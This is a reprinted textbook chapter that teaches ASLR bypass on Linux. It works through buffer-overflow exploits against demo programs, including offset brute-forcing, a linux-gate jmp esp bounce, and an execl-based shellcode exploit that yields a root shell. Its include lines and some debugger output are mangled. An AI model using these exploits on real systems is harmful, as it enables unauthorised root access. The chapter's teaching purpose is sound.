SECURITY

Randomized Stack Space

8/31/2010 3:28:42 PM
randomized_stack_space.html

Another protective countermeasure tries a slightly different approach. Instead of preventing execution on the stack, this countermeasure randomizes the stack memory layout. When the memory layout is randomized, the attacker won't be able to return execution into waiting shellcode, since he won't know where it is.

This countermeasure has been enabled by default in the Linux kernel since 2.6.12, but this book's LiveCD has been configured with it turned off. To turn this protection on again, echo 1 to the /proc filesystem as shown below.

reader@hacking:~/booksrc $ sudo su -
root@hacking:~ # echo 1 > /proc/sys/kernel/randomize_va_space
root@hacking:~ # exit
logout
reader@hacking:~/booksrc $ gcc exploit_notesearch.c
reader@hacking:~/booksrc $ ./a.out
[DEBUG] found a 34 byte note for user id 999
[DEBUG] found a 41 byte note for user id 999
-------[ end of note data ]-------
reader@hacking:~/booksrc $

With this countermeasure turned on, the notesearch exploit no longer works, since the layout of the stack is randomized. Every time a program starts, the stack begins at a random location. The following example demonstrates this.

Randomized Stack Space

 aslr_demo.c
#include 

int main(int argc, char *argv[]) {
   char buffer[50];

   printf("buffer is at %p\n", &buffer);

   if(argc > 1)
      strcpy(buffer, argv[1]);

   return 1;
}

This program has an obvious buffer overflow vulnerability in it. However with ASLR turned on, exploitation isn't that easy.

reader@hacking:~/booksrc $ gcc -g -o aslr_demo aslr_demo.c
reader@hacking:~/booksrc $ ./aslr_demo
buffer is at 0xbffbbf90
reader@hacking:~/booksrc $ ./aslr_demo
buffer is at 0xbfe4de20
reader@hacking:~/booksrc $ ./aslr_demo
buffer is at 0xbfc7ac50
reader@hacking:~/booksrc $ ./aslr_demo $(perl -e 'print "ABCD"x20')
buffer is at 0xbf9a4920
Segmentation fault
reader@hacking:~/booksrc $

Notice how the location of the buffer on the stack changes with every run. We can still inject the shellcode and corrupt memory to overwrite the return address, but we don't know where the shellcode is in memory. The randomization changes the location of everything on the stack, including environment variables.

reader@hacking:~/booksrc $ export SHELLCODE=$(cat shellcode.bin)
reader@hacking:~/booksrc $ ./getenvaddr SHELLCODE ./aslr_demo
SHELLCODE will be at 0xbfd919c3
reader@hacking:~/booksrc $ ./getenvaddr SHELLCODE ./aslr_demo
SHELLCODE will be at 0xbfe499c3
reader@hacking:~/booksrc $ ./getenvaddr SHELLCODE ./aslr_demo
SHELLCODE will be at 0xbfcae9c3
reader@hacking:~/booksrc $

This type of protection can be very effective in stopping exploits by the average attacker, but it isn't always enough to stop a determined hacker. Can you think of a way to successfully exploit this program under these conditions?

1. Investigations with BASH and GDB

Since ASLR doesn't stop the memory corruption, we can still use a bruteforcing BASH script to figure out the offset to the return address from the beginning of the buffer. When a program exits, the value returned from the main function is the exit status. This status is stored in the BASH variable $?, which can be used to detect whether the program crashed.

reader@hacking:~/booksrc $ ./aslr_demo test
buffer is at 0xbfb80320
reader@hacking:~/booksrc $ echo $?
1
reader@hacking:~/booksrc $ ./aslr_demo $(perl -e 'print "AAAA"x50')
buffer is at 0xbfbe2ac0
Segmentation fault
reader@hacking:~/booksrc $ echo $?
139
reader@hacking:~/booksrc $

Using BASH's if statement logic, we can stop our brute-forcing script when it crashes the target. The if statement block is contained between the keywords then and fi; the white space in the if statement is required. The break statement tells the script to break out of the for loop.

reader@hacking:~/booksrc $ for i in $(seq 1 50)
> do
> echo "Trying offset of $i words"
> ./aslr_demo $(perl -e "print 'AAAA'x$i")
> if [ $? != 1 ]
> then
> echo "==> Correct offset to return address is $i words"
> break
> fi
> done
Trying offset of 1 words
buffer is at 0xbfc093b0
Trying offset of 2 words
buffer is at 0xbfd01ca0
Trying offset of 3 words
buffer is at 0xbfe45de0
Trying offset of 4 words
buffer is at 0xbfdcd560
Trying offset of 5 words
buffer is at 0xbfbf5380
Trying offset of 6 words
buffer is at 0xbffce760
Trying offset of 7 words
buffer is at 0xbfaf7a80
Trying offset of 8 words
buffer is at 0xbfa4e9d0
Trying offset of 9 words
buffer is at 0xbfacca50
Trying offset of 10 words
buffer is at 0xbfd08c80
Trying offset of 11 words
buffer is at 0xbff24ea0
Trying offset of 12 words
buffer is at 0xbfaf9a70
Trying offset of 13 words
buffer is at 0xbfe0fd80
Trying offset of 14 words
buffer is at 0xbfe03d70
Trying offset of 15 words
buffer is at 0xbfc2fb90
Trying offset of 16 words
buffer is at 0xbff32a40
Trying offset of 17 words
buffer is at 0xbf9da940
Trying offset of 18 words
buffer is at 0xbfd0cc70
Trying offset of 19 words
buffer is at 0xbf897ff0
Illegal instruction
==> Correct offset to return address is 19 words
reader@hacking:~/booksrc $


Knowing the proper offset will let us overwrite the return address. However, we still cannot execute shellcode since its location is randomized. Using GDB, let's look at the program just as it's about to return from the main function.

reader@hacking:~/booksrc $ gdb -q ./aslr_demo
Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".
(gdb) disass main
Dump of assembler code for function main:
0x080483b4 : push ebp
0x080483b5 : mov ebp,esp
0x080483b7 : sub esp,0x58
0x080483ba : and esp,0xfffffff0
0x080483bd : mov eax,0x0
0x080483c2 : sub esp,eax
0x080483c4 : lea eax,[ebp-72]
0x080483c7 : mov DWORD PTR [esp+4],eax
0x080483cb : mov DWORD PTR [esp],0x80484d4
0x080483d2 : call 0x80482d4 0x080483d7 : cmp DWORD PTR [ebp+8],0x1
0x080483db : jle 0x80483f4 0x080483dd : mov eax,DWORD PTR [ebp+12]
0x080483e0 : add eax,0x4
0x080483e3 : mov eax,DWORD PTR [eax]
0x080483e5 : mov DWORD PTR [esp+4],eax
0x080483e9 : lea eax,[ebp-72]
0x080483ec : mov DWORD PTR [esp],eax
0x080483ef : call 0x80482c4 0x080483f4 : mov eax,0x1
0x080483f9 : leave
0x080483fa : ret
End of assembler dump.
(gdb) break *0x080483fa
Breakpoint 1 at 0x80483fa: file aslr_demo.c, line 12.
(gdb)


The breakpoint is set at the last instruction of main. This instruction returns EIP to the return address stored on the stack. When an exploit overwrites the return address, this is the last instruction where the original program has control. Let's take a look at the registers at this point in the code for a couple of different trial runs.

(gdb) run
Starting program: /home/reader/booksrc/aslr_demo
buffer is at 0xbfa131a0 Breakpoint 1, 0x080483fa in main (argc=134513588, argv=0x1) at aslr_demo.c:12 12 } (gdb) info registers eax 0x1 1 ecx 0x0 0 edx 0xb7f000b0 -1209007952 ebx 0xb7efeff4 -1209012236 esp 0xbfa131ec 0xbfa131ec
ebp 0xbfa13248 0xbfa13248
esi 0xb7f29ce0 -1208836896
edi 0x0 0
eip 0x80483fa 0x80483fa eflags 0x200246 [ PF ZF IF ID ] cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51 (gdb) run The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/reader/booksrc/aslr_demo buffer is at 0xbfd8e520

Breakpoint 1, 0x080483fa in main (argc=134513588, argv=0x1) at aslr_demo.c:12
12 }
(gdb) i r esp
esp 0xbfd8e56c 0xbfd8e56c
(gdb) run
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/reader/booksrc/aslr_demo
buffer is at 0xbfaada40

Breakpoint 1, 0x080483fa in main (argc=134513588, argv=0x1) at aslr_demo.c:12
12 }
(gdb) i r esp
esp 0xbfaada8c 0xbfaada8c
(gdb)


Despite the randomization between runs, notice how similar the address in ESP is to the address of the buffer (shown in bold). This makes sense, since the stack pointer points to the stack and the buffer is on the stack. ESP's value and the buffer's address are changed by the same random value, because they are relative to each other.

GDB's stepi command steps the program forward in execution by a single instruction. Using this, we can check ESP's value after the ret instruction has executed.

(gdb) run
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /home/reader/booksrc/aslr_demo
buffer is at 0xbfd1ccb0

Breakpoint 1, 0x080483fa in main (argc=134513588, argv=0x1) at aslr_demo.c:12
12 }
(gdb) i r esp
esp 0xbfd1ccfc 0xbfd1ccfc
(gdb) stepi
0xb7e4debc in __libc_start_main () from /lib/tls/i686/cmov/libc.so.6
(gdb) i r esp
esp 0xbfd1cd00 0xbfd1cd00
(gdb) x/24x 0xbfd1ccb0
0xbfd1ccb0: 0x00000000 0x080495cc 0xbfd1ccc8 0x08048291
0xbfd1ccc0: 0xb7f3d729 0xb7f74ff4 0xbfd1ccf8 0x08048429
0xbfd1ccd0: 0xb7f74ff4 0xbfd1cd8c 0xbfd1ccf8 0xb7f74ff4
0xbfd1cce0: 0xb7f937b0 0x08048410 0x00000000 0xb7f74ff4
0xbfd1ccf0: 0xb7f9fce0 0x08048410 0xbfd1cd58 0xb7e4debc
0xbfd1cd00: 0x00000001 0xbfd1cd84 0xbfd1cd8c 0xb7fa0898
(gdb) p 0xbfd1cd00 - 0xbfd1ccb0
$1 = 80
(gdb) p 80/4
$2 = 20
(gdb)


Single stepping shows that the ret instruction increases the value of ESP by 4. Subtracting the value of ESP from the address of the buffer, we find that ESP is pointing 80 bytes (or 20 words) from the start of the buffer. Since the return address's offset was 19 words, this means that after main's final ret instruction, ESP points to stack memory found directly after the return address. This would be useful if there was a way to control EIP to go where ESP is pointing instead.

2. Bouncing Off linux-gate

The technique described below doesn't work with Linux kernels starting from 2.6.18. This technique gained some popularity and, of course, the developers patched the problem. The kernel used in the included LiveCD is 2.6.20, so the output below is from the machine loki, which is running a 2.6.17 Linux kernel. Even though this particular technique doesn't work on the LiveCD, the concepts behind it can be applied in other useful ways.

Bouncing off linux-gate refers to a shared object, exposed by the kernel, which looks like a shared library. The program ldd shows a program's shared library dependencies. Do you notice anything interesting about the linux-gate library in the output below?

matrix@loki /hacking $ $ uname -a
Linux hacking 2.6.17 #2 SMP Sun Apr 11 03:42:05 UTC 2007 i686 GNU/Linux
matrix@loki /hacking $ cat /proc/sys/kernel/randomize_va_space
1
matrix@loki /hacking $ ldd ./aslr_demo
linux-gate.so.1 => (0xffffe000) libc.so.6 => /lib/libc.so.6 (0xb7eb2000) /lib/ld-linux.so.2 (0xb7fe5000) matrix@loki /hacking $ ldd /bin/ls linux-gate.so.1 => (0xffffe000) librt.so.1 => /lib/librt.so.1 (0xb7f95000) libc.so.6 => /lib/libc.so.6 (0xb7e75000) libpthread.so.0 => /lib/libpthread.so.0 (0xb7e62000) /lib/ld-linux.so.2 (0xb7fb1000) matrix@loki /hacking $ ldd /bin/ls linux-gate.so.1 => (0xffffe000) librt.so.1 => /lib/librt.so.1 (0xb7f50000) libc.so.6 => /lib/libc.so.6 (0xb7e30000) libpthread.so.0 => /lib/libpthread.so.0 (0xb7e1d000) /lib/ld-linux.so.2 (0xb7f6c000) matrix@loki /hacking $

Even in different programs and with ASLR enabled, linux-gate.so.1 is always present at the same address. This is a virtual dynamically shared object used by the kernel to speed up system calls, which means it's needed in every process. It is loaded straight from the kernel and doesn't exist anywhere on disk.

The important thing is that every process has a block of memory containing linux-gate's instructions, which are always at the same location, even with ASLR. We are going to search this memory space for a certain assembly instruction, jmp esp. This instruction will jump EIP to where ESP is pointing.

First, we assemble the instruction to see what it looks like in machine code.

matrix@loki /hacking $ cat > jmpesp.s
BITS 32
jmp esp
matrix@loki /hacking $ nasm jmpesp.s
matrix@loki /hacking $ hexdump -C jmpesp
00000000 ff e4 |..|
00000002
matrix@loki /hacking $

Using this information, a simple program can be written to find this pattern in the program's own memory.

 find_jmpesp.c
int main()
{
unsigned long linuxgate_start = 0xffffe000;
char *ptr = (char *) linuxgate_start;

int i;

for(i=0; i < 4096; i++)
{
if(ptr[i] == '\xff' && ptr[i+1] == '\xe4')
printf("found jmp esp at %p\n", ptr+i);
}
}

When the program is compiled and run, it shows that this instruction exists at 0xffffe777. This can be further verified using GDB:

matrix@loki /hacking $ ./find_jmpesp
found jmp esp at 0xffffe777
matrix@loki /hacking $ gdb -q ./aslr_demo
Using host libthread_db library "/lib/libthread_db.so.1".
(gdb) break main
Breakpoint 1 at 0x80483f0: file aslr_demo.c, line 7.
(gdb) run
Starting program: /hacking/aslr_demo

Breakpoint 1, main (argc=1, argv=0xbf869894) at aslr_demo.c:7
7 printf("buffer is at %p\n", &buffer);
(gdb) x/i 0xffffe777
0xffffe777: jmp esp
(gdb)

Putting it all together, if we overwrite the return address with the address 0xffffe777, then execution will jump into linux-gate when the main function returns. Since this is a jmp esp instruction, execution will immediately jump back out of linux-gate to wherever ESP happens to be pointing. From our previous debugging, we know that at the end of the main function, ESP is pointing to memory directly after the return address. So if shellcode is put here, EIP should bounce right into it.

matrix@loki /hacking $ sudo chown root:root ./aslr_demo
matrix@loki /hacking $ sudo chmod u+s ./aslr_demo
matrix@loki /hacking $ ./aslr_demo $(perl -e 'print "\x77\xe7\xff\xff"x20')$(cat
scode.bin)
buffer is at 0xbf8d9ae0
sh-3.1#


This technique can also be used to exploit the notesearch program, as shown here.

matrix@loki /hacking $ for i in `seq 1 50`; do ./notesearch $(perl -e "print 'AAAA'x$i");
if [
$? == 139 ]; then echo "Try $i words"; break; fi; done
[DEBUG] found a 34 byte note for user id 1000
[DEBUG] found a 41 byte note for user id 1000
[DEBUG] found a 63 byte note for user id 1000
-------[ end of note data ]-------

*** OUTPUT TRIMMED ***

[DEBUG] found a 34 byte note for user id 1000
[DEBUG] found a 41 byte note for user id 1000
[DEBUG] found a 63 byte note for user id 1000
-------[ end of note data ]-------
Segmentation fault
Try 35 words
matrix@loki /hacking $ ./notesearch $(perl -e 'print "\x77\xe7\xff\xff"x35')$(cat
scode.bin)
[DEBUG] found a 34 byte note for user id 1000
[DEBUG] found a 41 byte note for user id 1000
[DEBUG] found a 63 byte note for user id 1000
-------[ end of note data ]-------
Segmentation fault
matrix@loki /hacking $ ./notesearch $(perl -e 'print "\x77\xe7\xff\xff"x36')$(cat
scode2.bin)
[DEBUG] found a 34 byte note for user id 1000
[DEBUG] found a 41 byte note for user id 1000
[DEBUG] found a 63 byte note for user id 1000
-------[ end of note data ]-------
sh-3.1#


The initial estimate of 35 words was off, since the program still crashed with the slightly smaller exploit buffer. But it is in the right ballpark, so a manual tweak (or a more accurate way to calculate the offset) is all that is needed.

Sure, bouncing off linux-gate is a slick trick, but it only works with older Linux kernels. Back on the LiveCD, running Linux 2.6.20, the useful instruction is no longer found in the usual address space.

reader@hacking:~/booksrc $ uname -a
Linux hacking 2.6.20-15-generic #2 SMP Sun Apr 15 07:36:31 UTC 2007 i686 GNU/Linux
reader@hacking:~/booksrc $ gcc -o find_jmpesp find_jmpesp.c
reader@hacking:~/booksrc $ ./find_jmpesp
reader@hacking:~/booksrc $ gcc -g -o aslr_demo aslr_demo.c
reader@hacking:~/booksrc $ ./aslr_demo test
buffer is at 0xbfcf3480
reader@hacking:~/booksrc $ ./aslr_demo test
buffer is at 0xbfd39cd0
reader@hacking:~/booksrc $ export SHELLCODE=$(cat shellcode.bin)
reader@hacking:~/booksrc $ ./getenvaddr SHELLCODE ./aslr_demo
SHELLCODE will be at 0xbfc8d9c3
reader@hacking:~/booksrc $ ./getenvaddr SHELLCODE ./aslr_demo
SHELLCODE will be at 0xbfa0c9c3
reader@hacking:~/booksrc $


Without the jmp esp instruction at a predictable address, there is no easy way to bounce off of linux-gate. Can you think of a way to bypass ASLR to exploit aslr_demo on the LiveCD?

3. Applied Knowledge

Situations like this are what makes hacking an art. The state of computer security is a constantly changing landscape, and specific vulnerabilities are discovered and patched every day. However, if you understand the concepts of the core hacking techniques explained in this book, you can apply them in new and inventive ways to solve the problem du jour. Like LEGO bricks, these techniques can be used in millions of different combinations and configurations. As with any art, the more you practice these techniques, the better you'll understand them. With this understanding comes the wisdom to guesstimate offsets and recognize memory segments by their address ranges.

In this case, the problem is still ASLR. Hopefully, you have a few bypass ideas you might want to try out now. Don't be afraid to use the debugger to examine what is actually happening. There are probably several ways to bypass ASLR, and you may invent a new technique. If you don't find a solution, don't worry—I'll explain a method in the next section. But it's worthwhile to think about this problem a little on your own before reading ahead.

4. A First Attempt

In fact, I had written this chapter before linux-gate was fixed in the Linux kernel, so I had to hack together an ASLR bypass. My first thought was to leverage the execl() family of functions. We've been using the execve()function in our shellcode to spawn a shell, and if you pay close attention (or just read the man page), you'll notice the execve() function replaces the currently running process with the new process image.

EXEC(3)                Linux Programmer's Manual

NAME
execl, execlp, execle, execv, execvp - execute a file

SYNOPSIS
#include extern char **environ; int execl(const char *path, const char *arg, ...); int execlp(const char *file, const char *arg, ...); int execle(const char *path, const char *arg, ..., char * const envp[]); int execv(const char *path, char *const argv[]); int execvp(const char *file, char *const argv[]); DESCRIPTION The exec() family of functions replaces the current process image with a new process image. The functions described in this manual page are front-ends for the function execve(2). (See the manual page for execve() for detailed information about the replacement of the current process.)

It seems like there could be a weakness here if the memory layout is randomized only when the process is started. Let's test this hypothesis with a piece of code that prints the address of a stack variable and then executes aslr_demo using an execl() function.

 aslr_execl.c
#include 
#include 

int main(int argc, char *argv[]) {
   int stack_var;

   // Print an address from the current stack frame.
   printf("stack_var is at %p\n", &stack_var);

   // Start aslr_demo to see how its stack is arranged.
   execl("./aslr_demo", "aslr_demo", NULL);
}

When this program is compiled and executed, it will execl() aslr_demo, which also prints the address of a stack variable (buffer). This lets us compare the memory layouts.

reader@hacking:~/booksrc $ gcc -o aslr_demo aslr_demo.c
reader@hacking:~/booksrc $ gcc -o aslr_execl aslr_execl.c
reader@hacking:~/booksrc $ ./aslr_demo test
buffer is at 0xbf9f31c0
reader@hacking:~/booksrc $ ./aslr_demo test
buffer is at 0xbffaaf70
reader@hacking:~/booksrc $ ./aslr_execl
stack_var is at 0xbf832044
buffer is at 0xbf832000
reader@hacking:~/booksrc $ gdb -q --batch -ex "p 0xbf832044 - 0xbf832000"
$1 = 68
reader@hacking:~/booksrc $ ./aslr_execl
stack_var is at 0xbfa97844
buffer is at 0xbf82f800
reader@hacking:~/booksrc $ gdb -q --batch -ex "p 0xbfa97844 - 0xbf82f800"
$1 = 2523204
reader@hacking:~/booksrc $ ./aslr_execl
stack_var is at 0xbfbb0bc4
buffer is at 0xbff3e710
reader@hacking:~/booksrc $ gdb -q --batch -ex "p 0xbfbb0bc4 - 0xbff3e710"
$1 = 4291241140
reader@hacking:~/booksrc $ ./aslr_execl
stack_var is at 0xbf9a81b4
buffer is at 0xbf9a8180
reader@hacking:~/booksrc $ gdb -q --batch -ex "p 0xbf9a81b4 - 0xbf9a8180"
$1 = 52
reader@hacking:~/booksrc $


The first result looks very promising, but further attempts show that there is some degree of randomization happening when the new process is executed with execl(). I'm sure this wasn't always the case, but the progress of open source is rather constant. This isn't much of a problem though, since we have ways to deal with that partial uncertainty.

5. Playing the Odds

Using execl() at least limits the randomness and gives us a ballpark address range. The remaining uncertainty can be handled with a NOP sled. A quick examination of aslr_demo shows that the overflow buffer needs to be 80 bytes to overwrite the stored return address on the stack.

reader@hacking:~/booksrc $ gdb -q ./aslr_demo
Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1".
(gdb) run $(perl -e 'print "AAAA"x19 . "BBBB"')
Starting program: /home/reader/booksrc/aslr_demo $(perl -e 'print "AAAA"x19 . "BBBB"')
buffer is at 0xbfc7d3b0

Program received signal SIGSEGV, Segmentation fault.
0x42424242 in ?? ()
(gdb) p 20*4
$1 = 80
(gdb) quit
The program is running. Exit anyway? (y or n) y
reader@hacking:~/booksrc $


Since we will probably want a rather large NOP sled, in the following exploit the NOP sled and the shellcode will be put after the return address overwrite. This allows us to inject as much of a NOP sled as needed. In this case, a thousand bytes or so should be sufficient.

 aslr_execl_exploit.c
#include 
#include 
#include 

char shellcode[]=
"\x31\xc0\x31\xdb\x31\xc9\x99\xb0\xa4\xcd\x80\x6a\x0b\x58\x51\x68"
"\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89"
"\xe1\xcd\x80"; // Standard shellcode

int main(int argc, char *argv[]) {
   unsigned int i, ret, offset;
   char buffer[1000];

   printf("i is at %p\n", &i);

   if(argc > 1) // Set offset.
      offset = atoi(argv[1]);

   ret = (unsigned int) &i - offset + 200; // Set return address.
   printf("ret addr is %p\n", ret);

for(i=0; i < 90; i+=4) // Fill buffer with return address.
     *((unsigned int *)(buffer+i)) = ret;
  memset(buffer+84, 0x90, 900); // Build NOP sled.
  memcpy(buffer+900, shellcode, sizeof(shellcode));

  execl("./aslr_demo", "aslr_demo", buffer,  NULL);
}

This code should make sense to you. The value 200 is added to the return address to skip over the first 90 bytes used for the overwrite, so execution lands somewhere in the NOP sled.

reader@hacking:~/booksrc $ sudo chown root ./aslr_demo
reader@hacking:~/booksrc $ sudo chmod u+s ./aslr_demo
reader@hacking:~/booksrc $ gcc aslr_execl_exploit.c
reader@hacking:~/booksrc $ ./a.out
i is at 0xbfa3f26c
ret addr is 0xb79f6de4
buffer is at 0xbfa3ee80
Segmentation fault
reader@hacking:~/booksrc $ gdb -q --batch -ex "p 0xbfa3f26c - 0xbfa3ee80"
$1 = 1004
reader@hacking:~/booksrc $ ./a.out 1004
i is at 0xbfe9b6cc
ret addr is 0xbfe9b3a8
buffer is at 0xbfe9b2e0
sh-3.2# exit
exit
reader@hacking:~/booksrc $ ./a.out 1004
i is at 0xbfb5a38c
ret addr is 0xbfb5a068
buffer is at 0xbfb20760
Segmentation fault
reader@hacking:~/booksrc $ gdb -q --batch -ex "p 0xbfb5a38c - 0xbfb20760"
$1 = 236588
reader@hacking:~/booksrc $ ./a.out 1004
i is at 0xbfce050c
ret addr is 0xbfce01e8
buffer is at 0xbfce0130
sh-3.2# whoami
root
sh-3.2#


As you can see, occasionally the randomization causes the exploit to fail, but it only needs to succeed once. This leverages the fact that we can try the exploit as many times as we want. The same technique will work with the notesearch exploit while ASLR is running. Try writing an exploit to do this.

Once the basic concepts of exploiting programs are understood, countless variations are possible with a little bit of creativity. Since the rules of a program are defined by its creators, exploiting a supposedly secure program is simply a matter of beating them at their own game. New clever methods, such as stack guards and IDSs, try to compensate for these problems, but these solutions aren't perfect either. A hacker's ingenuity tends to find holes in these systems. Just think of the things they didn't think of.

Other  
 
Top 10
Review : Sigma 24mm f/1.4 DG HSM Art
Review : Canon EF11-24mm f/4L USM
Review : Creative Sound Blaster Roar 2
Review : Philips Fidelio M2L
Review : Alienware 17 - Dell's Alienware laptops
Review Smartwatch : Wellograph
Review : Xiaomi Redmi 2
Extending LINQ to Objects : Writing a Single Element Operator (part 2) - Building the RandomElement Operator
Extending LINQ to Objects : Writing a Single Element Operator (part 1) - Building Our Own Last Operator
3 Tips for Maintaining Your Cell Phone Battery (part 2) - Discharge Smart, Use Smart
REVIEW
- First look: Apple Watch

- 3 Tips for Maintaining Your Cell Phone Battery (part 1)

- 3 Tips for Maintaining Your Cell Phone Battery (part 2)
VIDEO TUTORIAL
- How to create your first Swimlane Diagram or Cross-Functional Flowchart Diagram by using Microsoft Visio 2010 (Part 1)

- How to create your first Swimlane Diagram or Cross-Functional Flowchart Diagram by using Microsoft Visio 2010 (Part 2)

- How to create your first Swimlane Diagram or Cross-Functional Flowchart Diagram by using Microsoft Visio 2010 (Part 3)
Popular Tags
Microsoft Access Microsoft Excel Microsoft OneNote Microsoft PowerPoint Microsoft Project Microsoft Visio Microsoft Word Active Directory Biztalk Exchange Server Microsoft LynC Server Microsoft Dynamic Sharepoint Sql Server Windows Server 2008 Windows Server 2012 Windows 7 Windows 8 Adobe Indesign Adobe Flash Professional Dreamweaver Adobe Illustrator Adobe After Effects Adobe Photoshop Adobe Fireworks Adobe Flash Catalyst Corel Painter X CorelDRAW X5 CorelDraw 10 QuarkXPress 8 windows Phone 7 windows Phone 8